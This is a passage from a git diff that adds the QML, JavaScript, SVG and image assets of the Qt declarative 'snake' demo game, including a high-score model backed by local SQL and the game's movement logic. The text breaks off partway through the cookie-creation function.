+++ b/demos/declarative/snake/qml/snake/content/HighScoreModel.qml
@@ -0,0 +1,139 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+// Models a high score table.
+//
+// Use this component like this:
+//
+// HighScoreModel {
+// id: highScores
+// game: "MyCoolGame"
+// }
+//
+// Then use either use the top-score properties:
+//
+// Text { text: "HI: " + highScores.topScore }
+//
+// or, use the model in a view:
+//
+// ListView {
+// model: highScore
+// delegate: Component {
+// ... player ... score ...
+// }
+// }
+//
+// Add new scores via:
+//
+// saveScore(newScore)
+//
+// or:
+//
+// savePlayerScore(playerName,newScore)
+//
+// The best maxScore scores added by this method will be retained in an SQL database,
+// and presented in the model and in the topScore/topPlayer properties.
+//
+
+ListModel {
+ id: model
+ property string game: ""
+ property int topScore: 0
+ property string topPlayer: ""
+ property int maxScores: 10
+
+ function __db()
+ {
+ return openDatabaseSync("HighScoreModel", "1.0", "Generic High Score Functionality for QML", 1000000);
+ }
+ function __ensureTables(tx)
+ {
+ tx.executeSql('CREATE TABLE IF NOT EXISTS HighScores(game TEXT, score INT, player TEXT)', []);
+ }
+
+ function fillModel() {
+ __db().transaction(
+ function(tx) {
+ __ensureTables(tx);
+ var rs = tx.executeSql("SELECT score,player FROM HighScores WHERE game=? ORDER BY score DESC", [game]);
+ model.clear();
+ if (rs.rows.length > 0) {
+ topScore = rs.rows.item(0).score
+ topPlayer = rs.rows.item(0).player
+ for (var i=0; i<rs.rows.length; ++i) {
+ if (i < maxScores)
+ model.append(rs.rows.item(i))
+ }
+ if (rs.rows.length > maxScores)
+ tx.executeSql("DELETE FROM HighScores WHERE game=? AND score <= ?",
+ [game, rs.rows.item(maxScores).score]);
+ }
+ }
+ )
+ }
+
+ function savePlayerScore(player,score) {
+ __db().transaction(
+ function(tx) {
+ __ensureTables(tx);
+ tx.executeSql("INSERT INTO HighScores VALUES(?,?,?)", [game,score,player]);
+ fillModel();
+ }
+ )
+ }
+
+ function saveScore(score) {
+ savePlayerScore("player",score);
+ }
+
+ function clearScores() {
+ __db().transaction(
+ function(tx) {
+ tx.executeSql("DELETE FROM HighScores WHERE game=?", [game]);
+ fillModel();
+ }
+ )
+ }
+
+ Component.onCompleted: { fillModel() }
+}
diff --git a/demos/declarative/snake/qml/snake/content/Link.qml b/demos/declarative/snake/qml/snake/content/Link.qml
new file mode 100644
index 00000000..71c93a02
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/Link.qml
@@ -0,0 +1,128 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Item { id:link
+ property bool dying: false
+ property bool spawned: false
+ property int type: 0
+ property int row: 0
+ property int column: 0
+ property int rotation;
+
+ width: 40;
+ height: 40
+
+ x: margin - 3 + gridSize * column
+ y: margin - 3 + gridSize * row
+ Behavior on x { NumberAnimation { duration: spawned ? heartbeatInterval : 0} }
+ Behavior on y { NumberAnimation { duration: spawned ? heartbeatInterval : 0 } }
+
+
+ Item {
+ id: img
+ anchors.fill: parent
+ Image {
+ source: {
+ if(type == 1) {
+ "pics/blueStone.png";
+ } else if (type == 2) {
+ "pics/head.png";
+ } else {
+ "pics/redStone.png";
+ }
+ }
+
+ transform: Rotation {
+ id: actualImageRotation
+ origin.x: width/2; origin.y: height/2;
+ angle: rotation * 90
+ Behavior on angle {
+ RotationAnimation{
+ direction: RotationAnimation.Shortest
+ duration: spawned ? 200 : 0
+ }
+ }
+ }
+ }
+
+ Image {
+ source: "pics/stoneShadow.png"
+ }
+
+ opacity: 0
+ }
+
+
+ Particles { id: particles
+ width:1; height:1; anchors.centerIn: parent;
+ emissionRate: 0;
+ lifeSpan: 700; lifeSpanDeviation: 600;
+ angle: 0; angleDeviation: 360;
+ velocity: 100; velocityDeviation:30;
+ source: {
+ if(type == 1){
+ "pics/blueStar.png";
+ } else {
+ "pics/redStar.png";
+ }
+ }
+ }
+
+ states: [
+ State{ name: "AliveState"; when: spawned == true && dying == false
+ PropertyChanges { target: img; opacity: 1 }
+ },
+ State{ name: "DeathState"; when: dying == true
+ StateChangeScript { script: particles.burst(50); }
+ PropertyChanges { target: img; opacity: 0 }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ NumberAnimation { target: img; property: "opacity"; duration: 200 }
+ }
+ ]
+
+}
diff --git a/demos/declarative/snake/qml/snake/content/Skull.qml b/demos/declarative/snake/qml/snake/content/Skull.qml
new file mode 100644
index 00000000..a7ab2e88
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/Skull.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ property bool spawned: false
+ property int row;
+ property int column;
+ property int verticalMovement;
+ property int horizontalMovement;
+
+ x: margin + column * gridSize + 2
+ y: margin + row * gridSize - 3
+ Behavior on x { NumberAnimation { duration: spawned ? halfbeatInterval : 0} }
+ Behavior on y { NumberAnimation { duration: spawned ? halfbeatInterval : 0 } }
+
+ opacity: spawned ? 1 : 0
+ Behavior on opacity { NumberAnimation { duration: 200 } }
+
+ source: "pics/skull.png"
+ width: 24
+ height: 40
+}
diff --git a/demos/declarative/snake/qml/snake/content/pics/README b/demos/declarative/snake/qml/snake/content/pics/README
new file mode 100644
index 00000000..0215132c
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/README
@@ -0,0 +1 @@
+snake.jpg: This image is based on the picture "Eastern Green Mamba.jpg" from the free media databse Wikimedia Commons and is published under the terms of the GNU Free Documentation License. The original picture was taken by Danleo.
diff --git a/demos/declarative/snake/qml/snake/content/pics/background.png b/demos/declarative/snake/qml/snake/content/pics/background.png
new file mode 100644
index 00000000..72dffaa8
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/background.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/blueStar.png b/demos/declarative/snake/qml/snake/content/pics/blueStar.png
new file mode 100644
index 00000000..ba7acabd
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/blueStar.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/blueStone.png b/demos/declarative/snake/qml/snake/content/pics/blueStone.png
new file mode 100644
index 00000000..356affdd
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/blueStone.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/cookie.png b/demos/declarative/snake/qml/snake/content/pics/cookie.png
new file mode 100644
index 00000000..aec2957f
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/cookie.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/eyes.svg b/demos/declarative/snake/qml/snake/content/pics/eyes.svg
new file mode 100644
index 00000000..10786927
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/eyes.svg
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.46"
+ width="40"
+ height="40"
+ version="1.0"
+ sodipodi:docname="eyes.svg"
+ inkscape:output_extension="org.inkscape.output.svg.inkscape"
+ inkscape:export-filename="/home/ettrich/dev/research/qml-validate/snake/pics/eyes.png"
+ inkscape:export-xdpi="90"
+ inkscape:export-ydpi="90">
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs5">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective9" />
+ </defs>
+ <sodipodi:namedview
+ inkscape:window-height="838"
+ inkscape:window-width="907"
+ inkscape:pageshadow="2"
+ inkscape:pageopacity="0.0"
+ guidetolerance="10.0"
+ gridtolerance="10.0"
+ objecttolerance="10.0"
+ borderopacity="1.0"
+ bordercolor="#666666"
+ pagecolor="#ffffff"
+ id="base"
+ showgrid="false"
+ inkscape:zoom="12.35"
+ inkscape:cx="20"
+ inkscape:cy="20"
+ inkscape:window-x="117"
+ inkscape:window-y="45"
+ inkscape:current-layer="svg2" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
+ id="path2384"
+ sodipodi:cx="18.056681"
+ sodipodi:cy="9.5141697"
+ sodipodi:rx="7.1255059"
+ sodipodi:ry="11.295547"
+ d="M 25.182187,9.5141697 A 7.1255059,11.295547 0 1 1 10.931175,9.5141697 A 7.1255059,11.295547 0 1 1 25.182187,9.5141697 z"
+ transform="matrix(1.0089865,0,0,0.5462656,-4.9233835,3.3301401)" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
+ id="path3158"
+ sodipodi:cx="18.056681"
+ sodipodi:cy="9.5141697"
+ sodipodi:rx="7.1255059"
+ sodipodi:ry="11.295547"
+ d="M 25.182187,9.5141697 A 7.1255059,11.295547 0 1 1 10.931175,9.5141697 A 7.1255059,11.295547 0 1 1 25.182187,9.5141697 z"
+ transform="matrix(1.0089865,0,0,0.5462656,9.6190931,3.3522563)" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#000000;fill-opacity:1"
+ id="path3182"
+ sodipodi:cx="16.275303"
+ sodipodi:cy="12.307693"
+ sodipodi:rx="2.2672064"
+ sodipodi:ry="3.4008098"
+ d="M 18.542509,12.307693 A 2.2672064,3.4008098 0 0 1 14.008446,12.367372"
+ sodipodi:start="0"
+ sodipodi:end="3.1240432"
+ transform="translate(11.65992,-9.740891)"
+ sodipodi:open="true" />
+ <rect
+ style="fill:#000000;fill-opacity:0"
+ id="rect2382"
+ width="40"
+ height="40"
+ x="0"
+ y="-7.1054274e-15"
+ inkscape:export-filename="/home/ettrich/dev/research/qml-validate/snake/pics/eyes.png"
+ inkscape:export-xdpi="90"
+ inkscape:export-ydpi="90" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#000000;fill-opacity:1"
+ id="path2383"
+ sodipodi:cx="16.275303"
+ sodipodi:cy="12.307693"
+ sodipodi:rx="2.2672064"
+ sodipodi:ry="3.4008098"
+ d="M 18.542509,12.307693 A 2.2672064,3.4008098 0 0 1 14.008446,12.367372"
+ sodipodi:start="0"
+ sodipodi:end="3.1240432"
+ transform="translate(-3.3200119,-9.821862)"
+ sodipodi:open="true" />
+</svg>
diff --git a/demos/declarative/snake/qml/snake/content/pics/head.png b/demos/declarative/snake/qml/snake/content/pics/head.png
new file mode 100644
index 00000000..550e0026
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/head.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/head.svg b/demos/declarative/snake/qml/snake/content/pics/head.svg
new file mode 100644
index 00000000..3bf0bd2f
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/head.svg
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.46"
+ width="40"
+ height="40"
+ version="1.0"
+ sodipodi:docname="head.svg"
+ inkscape:output_extension="org.inkscape.output.svg.inkscape"
+ inkscape:export-filename="/home/ettrich/dev/research/qml-validate/snake/pics/head.png"
+ inkscape:export-xdpi="90"
+ inkscape:export-ydpi="90">
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs5">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective9" />
+ <inkscape:perspective
+ id="perspective2444"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ </defs>
+ <sodipodi:namedview
+ inkscape:window-height="838"
+ inkscape:window-width="907"
+ inkscape:pageshadow="2"
+ inkscape:pageopacity="0.0"
+ guidetolerance="10.0"
+ gridtolerance="10.0"
+ objecttolerance="10.0"
+ borderopacity="1.0"
+ bordercolor="#666666"
+ pagecolor="#ffffff"
+ id="base"
+ showgrid="false"
+ inkscape:zoom="12.35"
+ inkscape:cx="20"
+ inkscape:cy="20"
+ inkscape:window-x="117"
+ inkscape:window-y="45"
+ inkscape:current-layer="svg2" />
+ <image
+ y="0.21862352"
+ x="-0.048582077"
+ id="image2446"
+ height="40"
+ width="40"
+ sodipodi:absref="/home/ettrich/dev/research/qml-validate/snake/pics/redStone.png"
+ xlink:href="redStone.png" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
+ id="path2384"
+ sodipodi:cx="18.056681"
+ sodipodi:cy="9.5141697"
+ sodipodi:rx="7.1255059"
+ sodipodi:ry="11.295547"
+ d="M 25.182187,9.5141697 A 7.1255059,11.295547 0 1 1 10.931175,9.5141697 A 7.1255059,11.295547 0 1 1 25.182187,9.5141697 z"
+ transform="matrix(1.0089865,0,0,0.5462656,-4.9233835,3.3301401)" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
+ id="path3158"
+ sodipodi:cx="18.056681"
+ sodipodi:cy="9.5141697"
+ sodipodi:rx="7.1255059"
+ sodipodi:ry="11.295547"
+ d="M 25.182187,9.5141697 A 7.1255059,11.295547 0 1 1 10.931175,9.5141697 A 7.1255059,11.295547 0 1 1 25.182187,9.5141697 z"
+ transform="matrix(1.0089865,0,0,0.5462656,9.6190931,3.3522563)" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#000000;fill-opacity:1"
+ id="path3182"
+ sodipodi:cx="16.275303"
+ sodipodi:cy="12.307693"
+ sodipodi:rx="2.2672064"
+ sodipodi:ry="3.4008098"
+ d="M 18.542509,12.307693 A 2.2672064,3.4008098 0 0 1 14.008446,12.367372"
+ sodipodi:start="0"
+ sodipodi:end="3.1240432"
+ transform="translate(11.65992,-9.740891)"
+ sodipodi:open="true" />
+ <rect
+ style="fill:#000000;fill-opacity:0"
+ id="rect2382"
+ width="40"
+ height="40"
+ x="0"
+ y="-7.1054274e-15"
+ inkscape:export-filename="/home/ettrich/dev/research/qml-validate/snake/pics/eyes.png"
+ inkscape:export-xdpi="90"
+ inkscape:export-ydpi="90" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#000000;fill-opacity:1"
+ id="path2383"
+ sodipodi:cx="16.275303"
+ sodipodi:cy="12.307693"
+ sodipodi:rx="2.2672064"
+ sodipodi:ry="3.4008098"
+ d="M 18.542509,12.307693 A 2.2672064,3.4008098 0 0 1 14.008446,12.367372"
+ sodipodi:start="0"
+ sodipodi:end="3.1240432"
+ transform="translate(-3.3200119,-9.821862)"
+ sodipodi:open="true" />
+</svg>
diff --git a/demos/declarative/snake/qml/snake/content/pics/pause.png b/demos/declarative/snake/qml/snake/content/pics/pause.png
new file mode 100644
index 00000000..056d97dd
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/pause.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/redStar.png b/demos/declarative/snake/qml/snake/content/pics/redStar.png
new file mode 100644
index 00000000..cd068547
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/redStar.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/redStone.png b/demos/declarative/snake/qml/snake/content/pics/redStone.png
new file mode 100644
index 00000000..9bb7fe42
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/redStone.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/skull.png b/demos/declarative/snake/qml/snake/content/pics/skull.png
new file mode 100644
index 00000000..63186167
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/skull.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/snake.jpg b/demos/declarative/snake/qml/snake/content/pics/snake.jpg
new file mode 100644
index 00000000..e91a784f
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/snake.jpg
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/star.png b/demos/declarative/snake/qml/snake/content/pics/star.png
new file mode 100644
index 00000000..defbde53
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/star.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/stoneShadow.png b/demos/declarative/snake/qml/snake/content/pics/stoneShadow.png
new file mode 100644
index 00000000..1bd56afd
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/stoneShadow.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/yellowStar.png b/demos/declarative/snake/qml/snake/content/pics/yellowStar.png
new file mode 100644
index 00000000..52fb9c4b
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/yellowStar.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/pics/yellowStone.png b/demos/declarative/snake/qml/snake/content/pics/yellowStone.png
new file mode 100644
index 00000000..c56124a8
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/pics/yellowStone.png
Binary files differ
diff --git a/demos/declarative/snake/qml/snake/content/snake.js b/demos/declarative/snake/qml/snake/content/snake.js
new file mode 100644
index 00000000..837b82ad
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/snake.js
@@ -0,0 +1,316 @@
+
+var snake = new Array;
+var board = new Array;
+var links = new Array;
+var scheduledDirections = new Array;
+var numRows = 1;
+var numColumns = 1;
+var linkComponent = Qt.createComponent("content/Link.qml"); // XXX should resolve relative to script, not component
+var cookieComponent = Qt.createComponent("content/Cookie.qml");
+var cookie;
+var linksToGrow = 0;
+var linksToDie = 0;
+var waitForCookie = 0;
+var growType = 0;
+var skullMovementsBeforeDirectionChange = 0;
+
+
+function rand(n)
+{
+ return (Math.floor(Math.random() * n));
+}
+
+function scheduleDirection(dir)
+{
+ if (state == "starting") {
+ direction = dir;
+ headDirection = direction;
+ head.rotation = headDirection;
+ } else if (state == "running"){
+ direction = dir;
+ if(scheduledDirections[scheduledDirections.length-1]!=direction)
+ scheduledDirections.push(direction);
+ }
+}
+
+function startNewGame()
+{
+ if (state == "starting") {
+ return;
+ }
+
+ if (activeGame) {
+ endGame();
+ startNewGameTimer.running = true;
+ return;
+ }
+
+ state = "starting";
+
+ numRows = numRowsAvailable;
+ numColumns = numColumnsAvailable;
+ board = new Array(numRows * numColumns);
+ snake = new Array;
+ scheduledDirections = new Array;
+ growType = 0;
+
+ skull.z = numRows * numColumns + 1;
+
+ for (var i = 0; i < numRows * numColumns; ++i) {
+ if (i < links.length) {
+ var link = links[i];
+ link.spawned = false;
+ link.dying = false;
+ } else {
+ if(linkComponent.status != Component.Ready) {
+ if(linkComponent.status == Component.Error)
+ console.log(linkComponent.errorString());
+ else
+ console.log("Still loading linkComponent");
+ continue;//TODO: Better error handling?
+ }
+ var link = linkComponent.createObject(playfield);
+ link.z = numRows * numColumns + 1 - i;
+ link.type = i == 0 ? 2 : 0;
+ link.spawned = false;
+ link.dying = false;
+ links.push(link);
+ }
+ }
+
+ head = links[0];
+ snake.push(head);
+ head.row = numRows/2 -1;
+ head.column = numColumns/2 -1;
+ head.spawned = true;
+
+ linksToGrow = 5;
+ linksToDie = 0;
+ waitForCookie = 5;
+ score = 0;
+ startHeartbeatTimer.running = true;
+}
+
+function endGame()
+{
+ activeGame = false;
+ for(var i in snake)
+ snake[i].dying = true;
+ if (cookie) {
+ cookie.dying = true;
+ cookie = 0;
+ }
+ lastScore = score;
+ highScores.saveScore(lastScore);
+ state = "";
+}
+
+function move() {
+
+ if (!head)
+ return;
+
+ var dir = direction;
+
+ if (scheduledDirections.length) {
+ dir = scheduledDirections.shift();
+ }
+
+ if (state == "starting") {
+ var turn = (dir - headDirection);
+ head.rotation += turn == -3 ? 1 : (turn == 3 ? -1 : turn );
+ headDirection = dir;
+ return;
+ }
+
+ var row = head.row;
+ var column = head.column;
+
+ if (dir == 0) {
+ row = row - 1;
+ } else if (dir == 1) {
+ column = column + 1
+ } else if (dir == 2) {
+ row = row + 1;
+ } else if (dir == 3) {
+ column = column - 1;
+ }
+
+ //validate the new position
+ if (row < 0 || row >= numRows
+ || column < 0 || column >= numColumns
+ || (row == skull.row && column == skull.column)
+ || !isFree(row, column)) {
+ var turn = (dir - headDirection);
+ head.rotation += turn == -3 ? 1 : (turn == 3 ? -1 : turn );
+ headDirection = dir;
+ endGame();
+ return;
+ }
+
+ var newLink;
+ if (linksToGrow > 0) {
+ --linksToGrow;
+ newLink = links[snake.length];
+ newLink.spawned = false;
+ newLink.rotation = snake[snake.length-1].rotation;
+ newLink.type = growType;
+ newLink.dying = false;
+ snake.push(newLink);
+ } else {
+ var lastLink = snake[snake.length-1];
+ board[lastLink.row * numColumns + lastLink.column] = undefined;
+ }
+
+ if (waitForCookie > 0) {
+ if (--waitForCookie == 0)
+ createCookie(cookie? (cookie.value+1) : 1);
+ }
+
+ for (var i = snake.length-1; i > 0; --i) {
+ snake[i].row = snake[i-1].row;
+ snake[i].column = snake[i-1].column;
+ snake[i].rotation = snake[i-1].rotation;
+ }
+
+ if (newLink) {
+ newLink.spawned = true;
+ }
+
+ // move the head
+ head.row = row;
+ head.column = column;
+ board[row * numColumns + column] = head;
+
+ var turn = (dir - headDirection);
+ head.rotation += turn == -3 ? 1 : (turn == 3 ? -1 : turn );
+ headDirection = dir;
+
+ var value = testCookie(row, column);
+ if (value > 0) {
+ linksToGrow += value;
+ score += value;
+ }
+}
+
+function isFree(row, column)
+{
+ return board[row * numColumns + column] == undefined;
+}
+
+function isHead(row, column)
+{
+ return head.column == column && head.row == row;
+}
+
+function testCookie(row, column)
+{
+ if (cookie && !cookie.dying && cookie.row == row && cookie.column == column) {
+ var value = cookie.value;
+ waitForCookie = value;
+ growType = snake[snake.length-1].type == 1 ? 0 : 1;
+ cookie.dying = true;
+ cookie.z = numRows * numColumns + 2;
+ return value;
+ }
+ return 0;
+}
+
+function moveSkull()
+{
+
+ if (linksToDie > 0) {
+ --linksToDie;
+ var link = snake.pop();
+ link.dying = true;
+ board[link.row * numColumns + link.column] = undefined;
+ if (score > 0)
+ --score;
+ if (snake.length == 0) {
+ endGame();
+ return;
+ }
+ }
+
+ var row = skull.row;
+ var column = skull.column;
+ if (isHead(row, column)) {
+ endGame();
+ return;
+ }
+ row += skull.verticalMovement;
+ column += skull.horizontalMovement;
+
+ var attempts = 4;
+
+ while (skullMovementsBeforeDirectionChange == 0 || row < 0 || row >= numRows
+ || column < 0 || column >= numColumns
+ || (!isFree(row, column) && !isHead(row, column))) {
+ var d = rand(8);
+ skull.verticalMovement = 0;
+ skull.horizontalMovement = 0;
+ skullMovementsBeforeDirectionChange = rand(20)+1;
+ if (d == 0) {
+ skull.verticalMovement = -1
+ } else if (d == 1) {
+ skull.horizontalMovement = -1;
+ } else if (d == 2) {
+ skull.verticalMovement = 1
+ } else if (d == 3){
+ skull.horizontalMovement = 1;
+ } else if (cookie) {
+ var rd = cookie.row - skull.row;
+ var rc = cookie.column - skull.column;
+ if (Math.abs(rd) > Math.abs(rc)) {
+ skull.verticalMovement = rd > 0 ? 1 : -1;
+ skullMovementsBeforeDirectionChange = Math.abs(rd);
+ } else {
+ skull.horizontalMovement= rc > 0 ? 1 : -1;
+ skullMovementsBeforeDirectionChange = Math.abs(rc);
+ }
+ }
+ row = skull.row + skull.verticalMovement;
+ column = skull.column + skull.horizontalMovement;
+ if (--attempts == 0)
+ return;
+ }
+
+ skull.row = row;
+ skull.column = column;
+ --skullMovementsBeforeDirectionChange;
+ var value = testCookie(row, column);
+ if (value > 0)
+ linksToDie += value/2;
+
+ if (isHead(row, column))
+ endGame();
+}
+
+function createCookie(value) {
+ if (numRows * numColumns - snake.length < 10)
+ return;
+
